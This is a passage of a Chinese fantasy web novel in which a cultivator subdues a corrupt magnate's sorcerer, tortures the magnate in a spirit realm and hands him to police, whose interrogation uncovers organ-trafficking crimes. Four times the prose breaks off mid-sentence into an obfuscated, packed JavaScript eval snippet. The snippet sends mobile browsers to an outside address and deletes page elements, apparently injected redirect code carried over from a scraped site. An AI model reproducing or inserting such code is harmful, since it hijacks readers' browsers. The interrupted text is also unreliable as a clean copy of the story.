冯建安是卫天盛的一张底牌,他跟在卫天盛身边,帮他扫清障碍已经有二十年之久,他通过卫天盛的一次次布局,吸收了不少信仰之力,这些虽然算不上功德,但比功德来得更快,他的修为也因此涨得飞快。 业内有不成文的规定,基本上不会有人插手别人的修行,所谓名门正派,也不过是在对自己有益的情况下,敛财而已。 这是他第一次见到这么不懂规矩的人,也是第一次碰到比自己厉害的。 此人的修为他竟摸不透。 “你先听我说,我不知道你是在为哪方办事,但卫老真的是个不错的人,你投靠他,他会为你考虑,帮你涨修为。”冯建安很有识时务者为俊杰的觉悟,没有轻举妄动。 独孤尽并未说话,他嫌恶地抽取冯建安的记忆,不动声色将环境变成一间普普通通的房子。 “咚咚咚——”黑暗中传来沉闷的撞击声,一下一下,像催命的音符。 冯建安对这个声音并不陌生,他先前用这样的声音吓过卫天盛的某位情妇,她非要做些不懂事的事情,让卫天盛身败名裂。 只不过有点不同的是,他之前是在门外搞的鬼,可现在这个声音回荡在整间屋子里,仿佛每个角落都有人在敲一样。 冯建安忙退两步,后背贴在墙壁上,他偷偷深呼吸,强迫自己冷静下来,指尖掐诀,刚想照亮整个空间,一滴粘稠又冰凉的液体就顺着他的后颈流了下去。 “嘭——”他的决正好在此刻掐完,周围瞬间变得亮堂,只不过那光闪了一瞬,就变得昏黄幽暗,可只是一瞬也足够冯建安看到天花板上密密麻麻的人头,它们正在撞击着天花板,毫无规律,嘴角还在咧着,露出诡异的笑容。 冯建安自己就布置过很多神神鬼鬼的场景,按理说他不该害怕,可就在看到那些人头的一刻,他的鼻尖就萦绕着浓郁的血腥味。 旋即,凄厉的尖叫声从四面八方冲击着他的耳膜。 “哈哈哈哈——冯大师,你看,这是我的女儿……” “她到现在还记得你给她买的冰棍呢,是不是用冰棍棒捅死人特别爽,你也试试吧!!!” 冯建安只觉得自己明明紧闭的嘴被无形之手捏开,冰棍棒子直接捅穿了他的喉咙,就在他以为自己必死无疑时,刚才的痛楚仿佛幻觉,消失殆尽。 他呆楞地摸摸脖颈,除了后脖颈处有点湿,并没有破损。 只不过指尖沾到的这点湿润闻起来是血的味道。 “想用天道来灭我?你们真的知道天道之罚是什么样的吗?” “冯建安,多行不义必自毙,你是不是把这句话当成摆设?”独孤尽的声音极其淡漠,他用雾气改变了自己的音色,让人分不清他究竟是男是女,是人是鬼。 “这位大仙,小人错了,错了,您大人不记小人过,饶了我,我以后定不帮那卫天盛了。”冯建安能屈能伸,他直接拜服在地上,猛猛磕头。 留得青山在不怕没柴烧。 “想让我饶过你要看你有没有悔过之意。”独孤尽在暗处摸摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688920|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下巴,他还记得惩罚冯建安不是关键,关键是把这场人为的火灾破了。 “有有有,我悔不当初,悔得肠子都青了,真的!”冯建安现在就求自己这好不容易攒起来的一身修为能别被高人毁了。 他可没那个耐心重新练,也没那个寿命重新练。 “卫天盛除了让你过来防火,可还叫了他人?” “还有他心腹手下的那些死士。”冯建安是知道卫天盛那些不可靠人事情最多的人,只不过他本就跟卫天盛是互相利用的关系,当然不存在背不背叛。 “都会你这个火球术?”独孤尽想不到更好的比喻,只能形象称呼。 “不,大仙,天火只有我会下,那些死士用的是爆破品,人类用的。”冯建安讪讪笑着,虽然他不知道独孤尽人在哪,但不妨碍他演那副毕恭毕敬的姿态。 “那些人为什么会成为死士?” “他们有些是孤儿,有些家人被控制了,还有一些……是我下了咒。”冯建安说到最后才把自己涉及到的这点说出来。 “先把你的咒解了。”独孤尽阖上眼睛感知了一下,“其他那些,我们来个请君入瓮。” 被独孤尽调配着的冯建安继续夸大其词告诉卫天盛这边情况大好,他已经把火放着了,还没有人发现,清了一部分远星镇帮他们做事,掩盖犯罪事实的居民,远星疗养院他也即将和其他同事一同进攻了。 “大仙,您看,这样可以了吗?能从我的识海先出去吗?”冯建安觉得自己随时要被摧毁意识,这种感觉太不安了。 “你不欢迎我做客?”独孤尽大咧咧抽了张椅子坐下来,抬脚在精神痛点踩了踩。 冯建安龇着牙抱住脑袋蹲了下来,从出生到现在,他还没受到过这种折磨,他一向是被视为天才存在的。 “邀请他来看好戏啊,发挥你的演技,我相信你冯建安。”独孤尽的声音里不自觉带上了几分蛊惑。 像恶魔在低语。 “我让你放的无人机呢?拍摄给我看就可以了。”卫天盛并不赞同冯建安看热闹的心态,他嘱咐了一句,“建安,看在我们做了这么多年朋友的份上,奉劝你谨慎,那个人不简单。” ……我也知道不简单,可再防备也抵不过实力上的巨大差距。 冯建安默默叹了口气,“无人机被我的天火打下来了。” “您如果不亲自来,那可就错过这场天大的好戏了。”冯建安声音夸张归夸张,可胜在卫天盛很吃他这种自信。 “那我就让实学和明达去帮我看看吧。”但这次,卫天盛仍没松口。 诱劝无果,独孤尽耸耸肩,让冯建安把卫天盛的所在地址给了他,左不过,他想办的事,必须办成。 “卫天盛,这可不是你想不想来,是你必须到场,这场天火,我要作为礼物,赠送给你。”独孤尽斩钉截铁从冯建安的识海直接转移到卫天盛的精神世界。 不然,你怎么能明白那些人有多么的痛,多么的绝望。 24. 江山易改本性难移 “实学,你跟明达通个气,一起去远星镇帮我看场好戏。”卫天盛满脸笑容,仿佛已经见到了火烧远星镇的那一幕。 虽然很可惜自己不能到现场,但那个不确定的因素他不得不防。 “谁?!”卫天盛只觉得忽然间自己的世界就从明到暗,再度定睛一看,前面还站着个看不清身形的东西。 想来,就是上次进他梦境吓唬人的那位了。 “你只能出现在我的精神世界,并不能对我造成实质性伤害。”卫天盛对独孤尽的出现并不意外,倒像是早就在等着他造访。 “哦?给你个忠告,随意揣测敌人是一件很不明智的事。”独孤尽已然盛怒,他不打算和卫天盛多费口舌。 “即便你把声音加工了,我也能找出你。”卫天盛信誓旦旦试图打击独孤尽。 “你也知道这里是精神世界,我的声音你带不出去。那你想怎么找我,大海捞针把全世界所有人的声音都听一遍?”独孤尽这回用云雾把自己整个人都包起来了,根本看不出他的高矮胖瘦。 “说吧,找我干什么?”卫天盛没在这个问题上跟独孤尽纠缠,他老而精明的眼中透露出点看好戏的意思。 “看来你也很想看戏,走吧,卫天盛。”独孤尽直呼其名,隔空抓了他的精神体。 “你想干什么?!”卫天盛隐约觉得事情和他想的不一样,压下心中慌张忙问。 “我想干什么?自然是把你的神魂带离本体啊。你应该听说过植物人,知道脑死亡吧?”独孤尽大力拍了拍卫天盛的脑瓜,像拍皮球一样用力,即便是精神体也疼得卫天盛当场白了脸色。 “哦,对了,你可别觉得我会好心到带你看完好戏后还送你回来。”独孤尽明明是隔空打的人,却还是觉得手上沾了脏东西,他嫌弃地隔空在卫天盛衣服上擦了擦。 “你这是故意杀人!”卫天盛想赌独孤尽不会害人性命。 “你没杀过人吗?”独孤尽隔空聚了一支风箭,扎进卫天盛的心脏。 “唔……噗——”卫天盛吃痛捧着胸口蜷缩在地上。 他看到自己的心口破了一个洞,没有血液往外流,却痛得他快要昏死过去。 “你虽然没亲自动手,但你身上沾了太多鲜血,要不要看看从你心脏里流出来的黑血。”独孤尽猛地把风箭拔出。 “不!不!别!呃啊——”拔箭的痛楚远比中箭来得强,尤其是当风箭上还有无数倒刺时。 “喊什么喊,只是把你用在别人身上的手段还给了你万分之一而已。”独孤尽又丢了个风团把卫天盛的嘴堵住。 “想好了就告诉我,是你自己过去,还是由我把你灵魂逮去?” “至于去什么地方,想必你是最清楚的。”独孤尽耸耸肩,他开始读秒。 数到三,这个老家伙就会同意第一个选项。 “我去,我自己去……” 独孤尽遗憾地放下手,他刚打算竖着手指开始数。 “记着你说的话,尽快赶到,否则下次就不是征询你的想法了。”独孤尽狠狠踩上卫天盛的胸口,用力碾了碾,才从他的精神世界消失。 “卫老!卫老!” “卫老!” “卫老!您没事吧?!” “……无碍,备车,去远星镇。” 卫天盛身边时刻有人护卫,刚才他忽然失去意识一样呆愣愣站在原地,大家不敢上去打扰他,又实在担心他出事,只能隔着一米距离不停喊他。 没人敢质疑卫天盛的决定,立马扶着他上车,前往远星镇。 一路上,卫天盛不断在车里打着电话,安排各种事情,甚至打给了律师,将自己早就立好的遗嘱又确认了一次。 “爷爷,您别胡说,谁敢拿您开刀?不看僧面还要看佛面,您都坐到这个位置了,没人敢动您。”卫天盛最看重的孙子在电话那头不断说着安慰话。 可这次,卫天盛没那么乐观了。 他仗着自己的权势,招来了不少能人异士,虽做了些见不得人的勾当,但他自认从未亏待过手下这些人,想来不可能是自己背叛。 有点遗憾的是,他到死都不知道自己得罪了谁,即便是那位,也不可能这么蠢,在这个时候将他铲除。 “实学,事情有变,赶紧联系明达,你们俩都不用去远星镇了,找两个信的过的人,晚些时候去那帮我收尸。” “卫老?!发生什么事了?!是不是汤行正那个混蛋反水找您事了!您别急,我立马调人过去!”严实学还是头一次听到卫天盛用这种语气跟他说话。 “别去!不是他,他就是颗枪子儿,跟他没关系,你和明达,到时候再找几个医术了得的,换个地方,重新开始。” “我一家老小就靠你们了。”郑重嘱托后,卫天盛直接掐断了电话,他盯着窗外,目不转睛。 他舍不得死,如果有机会翻身,他一定不会饶过那个人! 卫天盛在这边百思不得其解到底谁要对付他时,独孤尽正在百爪挠心,等得心急。 “等会儿卫天盛一来,就把天火往他身上招呼,知道了吗?”独孤尽已经彻底收服了冯建安,他还有点不适应,冯建安既不是神兽,也不是像春渐满那么根正苗红的人类,这就是个修了邪道的畜生。 “好,好,都听您的。”冯建安打着哈哈,他现在像个贼似的,趴在一间平顶房的房顶上。 原本被独孤尽遮黑的天空又亮堂起来,甚至比先前夕阳时分更亮了些。 又过去了好一会儿,就在独孤尽等得不耐烦,已经偷摸着把那些死士的炮弹都做了手脚变成哑炮时,远星镇终于出现了新的人。 冯建安的符拿出来,诀刚掐了一半,就堪堪停下动作,“不是卫……卫天盛。” 独孤尽凝神一瞧,竟是警方来人,看样子是他之前让小弟搬的救兵到了。 他打心眼里不乐意跟人打交道,但小弟还在那边维持秩序,只能他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688921|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去接应了。 “合窳,帮我看着这人,忍住,不准把他吃了。”独孤尽看了眼满嘴哈喇子到合窳,叹了口气。 这些爱吃人的神兽真是不管过了多久也改不了想吃人的习性,和狗改不了吃那啥似的。 “那边没情况吧?” 合窳原本在守着那群被治疗过的远星疗养院工作人员,现在只留了个分身在那边,他摇摇头,把口水摇得到处都是。 独孤尽默默远离了一步,“一定要忍住,别吃。” 冯建安根本不敢跟眼前闪现过来的家伙对视,据他所知,合窳可是神兽,眼前这位大仙能随意差遣神兽,显然段位比他高得不是一星半点,他还是乖乖当鹌鹑保命吧。 独孤尽心念一转就到了警车前,他弯腰敲敲车窗玻璃。 车里的人防备心很高,竟在车里磨蹭了好半天,才猛地破开车门,找掩体庇护,武器齐刷刷对准独孤尽,如临大敌。 “自己人自己人,我是春渐满的朋友,他让我过来接应大家。”独孤尽立马双手举过头顶投降。 “倒是忘了拿信物,这样,谁是春渐满的师父?他闲来无事时跟我说过,他师父最喜欢看足球赛,之前在球场上还……”独孤尽话还没说完,就有个人大喝一声,让大家收了武器。 “是自己人!跟上他。” 独孤尽见大家都听他的命令,也讪讪放下手,几步就走到了这位警官旁边,“您就是春渐满的师父?” “老当益壮,侠肝义胆,正义使者!”独孤尽胡乱吹了两句彩虹屁,但里面有些却是真心的,能在这种情况下,不畏生死,支援,当得上一句人民英雄。 “别贫,小春跟我什么都没交代清楚,你们是怎么确定这件事跟卫……卫天盛有关的?”曹鸿盛操心得头发都白了不少,他一定是上辈子欠了春渐满的,这辈子才要做他师父,帮他擦屁股。 “其实,我们现在还没拿到最确切的证据,有一些证词,但不够充分,不过不急,马上人就会送上门来了,你们先在旁看着,之后抓个现行,就是最有力的证据。”独孤尽摸摸鼻子,有点心虚,毕竟他只是按照画给的预示办事,这些证据不证据的,都是小弟在弄。 “胡闹!”曹鸿盛气得脸都红了,胸口剧烈起伏。 “消消气消消气,真的,马上就来了,真的真的,比珍珠还真。”独孤尽真怕他把春渐满的师父气出个好歹来,赶忙用自己的桃花眼跟人对视,表达真诚。 但这在曹鸿盛眼里就成了挤眉弄眼,耍小聪明,他自行平复了一下心情,中气十足发号施令,“把车都藏起来,自行找位置躲好,等待指令!” 曹鸿盛不知道的是,面前这个跟他侃侃而谈的年轻人,就是他心心念念想要了解的“怪奇诊所”的核心人物。 也不知道,接下来将会发生颠覆他世界观的一幕。 大事发生前永远显得那么宁静祥和,连风吹草动都是轻柔的,只有鸟鸣不安地回荡半空。 25. 模模糊糊的世界才有趣 “来了!”独孤尽率先感知到能量波动,不多,只有几车。 看来这次没错了,就是卫天盛。 比独孤尽稍晚了一步的是冯建安,他全神贯注,不敢眨一下眼睛,总算看见熟悉的车辆后,他没半点犹豫,直接一个天火砸了过去。 车是抵御不了火的,尤其还是被符咒加持过的火,挡风玻璃立马成朱砂网般裂开。 司机车技了得,看到火球迎面冲来的第一时间,立马调转车头,一百八十度大甩尾,可惜火球速度过快,没能躲过。 “天盛!没事吧?!”司机扭头看了眼坐在后面的卫天盛。 卫天盛被这个甩尾甩得有点头晕,他缓了下,还没定下心神,接二连三的火球就招呼上来。 “我们必须逃出去!”司机见过很多大场面,但还是第一次见到这么不科学的火球。 他到现在都不知道是谁往这么发射的。 “不必,你下车,留我在此就好。”卫天盛看了眼跟在自己身边闯南走北,甚至帮他挡过枪子的人。 这不仅是他的专用司机,更是他过命的兄弟。 “不可!一起下去!” “听话,这是我的最后一个命令,必须执行!”卫天盛苍老的眼里不再蕴含之前的精光,像是一下衰败下去。 “早就说好了,我们哥俩生死与共。”司机不仅没开门,甚至见卫天盛这副视死如归的样子,狠狠心把车锁上了。 “……”独孤尽一阵无语,他指引了一缕火到车旁,敲击车窗,示意厘头的人下车。 他可不想看什么哥俩情深的戏码,无论是卫天盛还是他的手下,没人可以逃脱,他必须要让“怪奇诊所”好好治治他们。 “下去,我也下去。”卫天盛露出一抹苦笑,他想体面点死在车上都不行,看来对方是不达目的誓不罢休了。 这种无论是生还是死都被人拿捏在手里的感觉太差。 让他想到曾经。 卫天盛只是思绪飘远了一下,就被他自己扯了回来。 那些遥远的记忆已经不重要了,重要的是,他现在已经将家族发展壮大,他的孙子孙女过不了多久也会继续开枝散叶,到时候哪怕没有他,各行各业里也都会有卫家的影子。 他这辈子值了。 唯一遗憾的就是死在一个不知名的对手手里。 躲在暗处的曹鸿盛和关鹏两人都瞠目结舌说不出话来,他们没想到真的会见到经常出现在电视里的重要人物。 而且看他的状态,显然是一副赴死的样子。 他们都是从刑警做过来的,自然知道什么样的人会是这种状态,手里有且不止一起命案的杀人狂徒。 独孤尽等得不耐烦,好半天才看到卫天盛和他的司机磨磨蹭蹭下了车。 两个人远离了被火包裹的车,在推开车门下车是,还被高温烫到了,衣服边角也被烫的卷曲起来。 独孤尽有时候很恨自己的感知力,他甚至闻到了一股头发烧焦的味道。 冯建安是个听死命令的,他见卫天盛下了车,立马又想起自己的职责,天火接连往人身上丢。 索性独孤尽存着折磨人的心思,改变了火的形态,这些天火才变成了空心的,包裹在两人身上,有强烈的灼烧窒息感,但暂时不会有生命危险。 这边动静太大,很快就吸引了那群死士,他们匀了一些爆破弹往卫天盛那边丢。 这些死士虽然是卫天盛的属下,但却不是由卫天盛训练的。 为了不让人查到这些死士与他有关,卫天盛一直很谨慎,从没让手下给死士看过他的照片。 现在好了,死士根本不认识他,把爆破弹一个劲丢他身边。 还有好多点燃了爆破引线就冲到卫天盛身边死死将他抱住。 但想象中的爆破声并未传来,独孤尽早早就做过了手脚,这些都变成了哑炮。 导致,现在的氛围很尴尬,这些死士抱着火,被烫得嗷嗷叫,卫天盛被包裹在中间,被人颠来颠去。 独孤尽别过脑袋闷声笑了几下,随后发出信号,一瞬就跟合窳调换了位置。 合窳很久没大展拳脚了,他活动活动筋骨,变回了原形。 它形似猪,却有着一张人脸,满口尖牙,怒目而视,刚一吼叫,声音却如同婴儿啼哭,刺痛人耳膜。 卫天盛被它叼起,按在地上摩擦,去掉了裹在身上的火,继而尖牙辗转抵在他的各个重要器官,似是在考虑应该从何下口。 冯建安吓得浑身发抖,幸好他识时务者为俊杰了,不然等待他的怕也是这样的酷刑。 “别怕,你这不是没被合窳吃吗?”独孤尽象征性安慰了一下冯建安。 他笑得比任何时候都要开怀,毕竟能把罪魁祸首拿捏在手里的感觉可不是一般爽。 他被迫在梦里经历了那么多次的火灾,火灾里有那么多的无辜受害者…… 账要一笔一笔算。 不过,现在他总算可以舒一口气了。 等合窳把卫天盛浑身啃了一遍,咬的遍体鳞伤却又没危及到他生命后,独孤尽才招招手,让合窳回来。 合窳一到独孤尽跟前就化为了人形,但即便这样,冯建安看着他也觉得极其害怕,这家伙除了原形吓人,人形也够吓人的。 那块垒分明的肌肉,一拳下去就能把他揍爆浆! “主人。” “干得不错,回去奖励你。”独孤尽抬手摸了摸合窳俯低的脑袋。 随后一步一步朝卫天盛走近,“可以出来了,让他把能招的全招掉,我在旁边看着。” 这句话是说给曹鸿盛听的,他知道卫天盛很聪明,此番过来,定是打算一人做事一人当的,不打算把其他人牵扯进来,但他绝对不会让他如愿,那些参与者,一个都不能少。 曹鸿盛和关鹏迟疑了一下,还是挥手让掩藏起来的人都出动,来的人有些多,靠着争抢才把卫天盛给扣上。 他们带的人多多少少有点英雄情结,知道这是个大案子,有点少年意气,想表现表现自己。 “那些公式化的东西你们就先放放,把人审好,放心,我不会让他死了的,你们尽情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688922|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 审,细细审。”独孤尽眯起眼睛,好整以暇隔空变了张沙发出来,舒舒服服窝在里面。 “……”曹鸿盛和关鹏对视一眼,有点难以言说自己此刻的心情,刚目睹了极其玄幻的一幕,他们还没缓过神,就让他们断案,是不是太草率了。 可这一幕跟那个传言很吻合,再一细想春渐满最近的变化,想来这就是那些不能说的缘由了。 “你跟小春相处的可好?”曹鸿盛纠结半晌,还是问出了他最关心的话。 从春渐满回去跟他报信,请求支援到现在,他还没见到春渐满的影子,如果这个青年真的和“怪奇诊所”有关,他的徒弟还能安然无恙吗? “不算太好。”独孤尽歪头想了下,“但也不算坏。” 曹鸿盛踌躇半天得到个模棱两可的答案,顿时又气不打一出来,现在的年轻人啊,太不靠谱。 “之前辞职是我威胁了他,现在我放他回去了,您就大人不记小人过,原谅他,让他继续回去工作吧。”独孤尽突然想起这茬,把责任都揽到自己身上。 “你不想他跟着你?”曹鸿盛并不相信独孤尽的说辞。 “不想,太危险了,不适合。”独孤尽弯起桃花眼,说得极其深情,可细看却能发现里面没有多少情绪。 “但小春跟我说以后不会回来了,他要跟着你。”曹鸿盛揣测了一下自己徒弟的心态,张口就来。 “跟什么跟,大好年华跟着我干什么,天天当牛马吗?”独孤尽下意识蹙起眉,他隔空拍了拍曹鸿盛的肩膀,“麻烦您一定要把他带回去好好为人民鞠躬尽瘁,别让他把时间浪费在我这里。” “这里是‘怪奇诊所’吧?”关鹏从旁走了过来,他实在看不下去这两人打哑谜了,直接挑破。 “喂喂喂,这位警官,您怎么能说瞎话呢?那种民间传闻您也信?”独孤尽嘴角抽了抽,他最不喜欢和这种耿直的人打交道。 大家都睁一只眼闭一只眼不好吗? 模模糊糊的世界才有趣啊。 “刚才那种怪兽,还有,火球,你怎么解释?” “这都什么年代了,警方也要与时俱进啊,全息投影没见过吗?”独孤尽都不带脸红的,他说完这句话就不再回答关于“怪奇诊所”的一切,只是催促,“快点去审卫天盛,趁他现在心理防线薄弱。这么好的机会不抓住,等着救他的人来了抓瞎吗?” 曹鸿盛抓住关鹏的手臂,给他个眼色,关鹏才悻悻然跟着过去审卫天盛。 “什么手续都没有,就这么干巴巴审这种大人物?老曹你真是给我找了个好差事啊。”关鹏有点生气,现在上面到处都在查“怪奇诊所”,让他们撞见了,还不让他问。 “是我先前没跟你说清楚,远星镇里的这个远星疗养院,涉及了多起非法交易、非法拘禁,包括不管当事人想法,手段极其残忍的器官转移,非法代孕,当然还有关于卫天盛的行贿受贿等等,确实该先审这边。” 当曹鸿盛把这一切都说给关鹏后,关鹏立刻把“怪奇诊所”抛诸脑后,他冷着脸率先开启了至关重要的审讯。 26. 审讯 为了让审讯效果更好,独孤尽非常贴心地专门为大家打造了一间临时办公室,凭空捏造出房屋的奇景震撼住了在场的所有人。 包括冯建安,他知道有大能可以凭空化物,可亲眼所见那是头一回,而且传闻里的那种大部分都是障眼法,可独孤尽凭空造的却是实实在在的房屋。 “大仙,您有这本领,根本就不愁吃穿!”冯建安两眼放光,他讪笑着磨蹭到独孤尽身边,被他用空气墙挡住了。 “别用你龌龊的思想来觊觎我的能力。”独孤尽舒舒服服窝在沙发里冲他摇手指,“不拿人民群众一针一线,自然这种骗人的把戏也不该用来收取人民钱财。” “不过你倒是给我提供了一个好思路。”独孤尽想了想,或许真能用这招去救助一些需要帮助的人。 曹鸿盛跟关鹏带着他们的人把卫天盛押进临时办公场所,一时间五味杂陈,换做是平时,他们根本不可能荒唐至此,可在这个年轻人面前,好像他们做出惊讶的反应才有问题。 “老曹,你是从何得到消息的?这可是旁人无法撼动的大人物。”关鹏看着被关押在审讯室的卫天盛,又转头看看无比还原的办公场景,还是觉得像在做梦。 “此中离奇多了去了,先别管缘由了,把他的罪行都审出来再想怎么补全手续,圆好这个逻辑线吧。”曹鸿盛也颇为头疼,以往给春渐满收拾的残局在这次面前,就是小儿科。 没多耽误时间,关鹏率先坐在了卫天盛对面,他看着桌上早就准备好的本子和笔,还是一阵不自在。 “姓名?” 卫天盛从一开始就低垂的脑袋总算有了点反应,他晃了两下身形,想要咬舌自尽,可牙齿刚碰上舌头,就有一股不知名的气流堵在了他嘴里,让他无法活动自如。 “姓名!”关鹏原本还算平和的声音突然变得严厉。 卫天盛从鼻子里发出不屑地哼声,他想用双手去掐自己的脖子,可他的手被扣了起来,没法做这种高难度动作。 “给我根烟。”他放弃了咬舌自尽,重新找了个借口。 在暗处观察着的独孤尽气不打一出来,都到最后关头了,还在拖延时间,看来不上猛药是不行了。 “九尾狐,出来!”独孤尽从画里将九尾狐再次邀了出来。 “阿尽,你这次周期好长,怎么还没解决,我们都等不及了,大家都想出来帮你。”九尾狐蓬松柔软的尾巴弹了几下就要挨到独孤尽身上。 独孤尽不动神色后撤一步,指尖轻点九尾狐额头,“这是那个老家伙最看重的孙子,你变成这样,走进审讯室,不用说什么做什么。” “眼神戏你会吧?”独孤尽很看好九尾狐,毕竟没有谁比九尾狐更会揣摩人心。 “好处呢?”说话间,九尾狐就已经幻化成一位英俊少年,声音也变得温润,好一副意气风发样。 “下次休假带你。”独孤尽在心里叹了口气,他实在不愿带九尾狐,太精明,难控制,但确实能力强。 “就知道阿尽对我最好了,我一定会让他乖乖招供的哟,放心吧。”九尾狐顶着个少年人的样貌冲独孤尽抛了个媚眼,惹了独孤尽一身鸡皮疙瘩。 九尾狐几乎是畅通无阻就进入了审讯室,原本守在门口的两人只是与九尾狐对上了视线就忘了自己该干什么,双眼空洞木讷,让出了路。 他到审讯室并未多言,只是站在角落里看着卫天盛,眼里都是不安与关心,那种想要意气用事又强被冷静压下的暗自挣扎状态,九尾狐演得入木三分。 自然也把卫天盛这个凡人给骗了过去,原本还在摆烂,能拖一时是一时的他瞬间怒气,差点连人带椅子掀翻过去,“你们好意思?用我孙子威胁我?” “放他回去!” “我的事我会交代!让他走!” 曹鸿盛和关鹏根本不知道这个忽然旁若无人走进来的少年是谁,之所以没立刻采取行动完全是因为在这里无论发生什么,他们都不会再奇怪了。 “姓名。”关鹏没理会卫天盛的破防,也没理会突然多出来的人,只是继续讯问。 “我警告你,你敢这么对我,他们都不会放过你!”卫天盛怒目而视,多年的上位者生涯让他忍不住狂妄。 这次关鹏没再继续问,他转过身,意味深长看了一眼少年。 “卫天盛!”卫天盛慌乱地喊出声,他认了,真的认了。 接下来的审讯变得极其轻松,关鹏问什么,卫天盛就答什么,有些关鹏没问的,卫天盛也会答得很清楚。 可一旦涉及到犯罪同伙这块,卫天盛就死咬着什么也不肯透露了。 九尾狐可不急着走,她装作被什么伤了,做出疼痛的表现,却强忍着不发出声,甚至不希望被卫天盛发现一样。 但卫天盛所有心思都在他的宝贝孙子身上,他急切地继续辩解,“我说了,一切都是因为我贪心不足,其他人都是受了我的胁迫,恐惧于我的权威,被迫帮助我。” “那就把你胁迫过的人都说出来,一个不准漏,要好好想。”关鹏已经洋洋洒洒记录了好多页,很久没写这么多字,他的手腕都疼了。 平时这种记录的活都是让手底下得力的后辈做的,但这次事关重大,即便有这么多证据,也不知道上面会怎么判,这种有风险的事,不能让后辈来担责。 卫天盛迟疑片刻,还是招了,他把名字说出来时,九尾狐忍不住想偷笑,但最终都强忍住了,只在心里偷偷乐着。 在卫天盛的坦白下,一张布局了二十多年的天罗地网逐渐浮出水面,卫天盛身上远不止一个远星疗养院这么简单,他与某些名声响亮的医院也有勾结,仗着名声响,偶尔有那么几起手术失败,也无人怀疑医生。 毕竟在术前,医生就说明了病情有多严重,有些必须切除某些器官,有些风险太大,可能会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688923|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手术失败,这些风险病人家属都已知悉,那么术后,出现什么样的结果,大家都有心理准备接受。 而且,为了挑选适合的“病人”,他们会按照病人的建档信息,调查背景,越是普通的、有礼貌、讲道理的平民百姓,他们越是重点关注。 偶尔也会有去别的医院重新检查,发现病症不实的,但都因医院良好的信誉,这些人多半在接受了诚挚的道歉后,也就不了了之了。 即便真有闹事的,卫天盛只需要抬抬手指,就能把热度压下,根本不会有地方受理这种案子。 关鹏和曹鸿盛听到后来,心越来越寒,关鹏记录的手也颤抖起来,可他依旧每个字都写得极其认真,就怕写潦草了,让人看不清这些滔天罪行。 “天谴?哈哈哈哈……你作为一名人民警察,怎么能问出这么不符合价值观的话?”卫天盛像是听到了极其好笑的笑话,前仰后合连带着椅子一起向后倒在地上。 半晌后,他脸上的笑没了,眼神空洞地望着天花板,喃喃自语。 “就是天谴,不然我怎么会落到这种地步。” 九尾狐看到此处,悄声走出了审讯室,回到独孤尽身边,一副邀功姿态,眉眼弯弯看着独孤尽。 “允许你在外面自由活动半小时,不准给我惹乱子知道吗?”独孤尽正脑瓜疼,他知道卫天盛身上的问题多,却没想到有这么多,多得他愤怒。 “诶?就半个小时,连干坏事的时间都不够。”九尾狐不满地变回原形,甩了一尾巴在独孤尽身上。 “不能干坏事。”独孤尽掸掉胳膊上沾到的狐狸毛。 “可我们又不受人类的规则约束,怎么能用人类的规则评判我干的是坏事。”九尾狐思路很清晰,她重新变回人形,只不过这次是身材婀娜的御姐类型。 独孤尽抽抽嘴角,他用手指比划了一个框,“你们确实不受人类规则约束,但是别忘了,你们受画约束。” “画还不是你作的。”九尾狐小声嘟囔了一句。 独孤尽没听清,却也没在意,他看了眼手表,提醒,“现在还有二十八分钟了,你再不自由活动,等会儿就跟我们一起回去。” 话音刚落,九尾狐就消失无踪,独孤尽能感觉到她向甜品店去了。 春渐满在远星疗养院安抚着还未被送回去的病患,尤其是那位年纪小,本来排在前面,能来得及被送回去的男孩。 “我们可以把你送到白山街上,如果小猫还在,你就带着它,先跟我们一起生活几天。” “跟你们一起生活?可你们到底是谁?我都不知道你们长什么样子。”男孩不太信任春渐满,独孤尽一走他就显得有点焦虑,但有耳鼠在,他的情绪并没有被放大。 春渐满看看他们脸前遮住面容的白雾,一阵无奈。 独孤尽啊独孤尽,你究竟什么时候回来,把这东西除了,看着真的很容易吓到小孩子! 27. 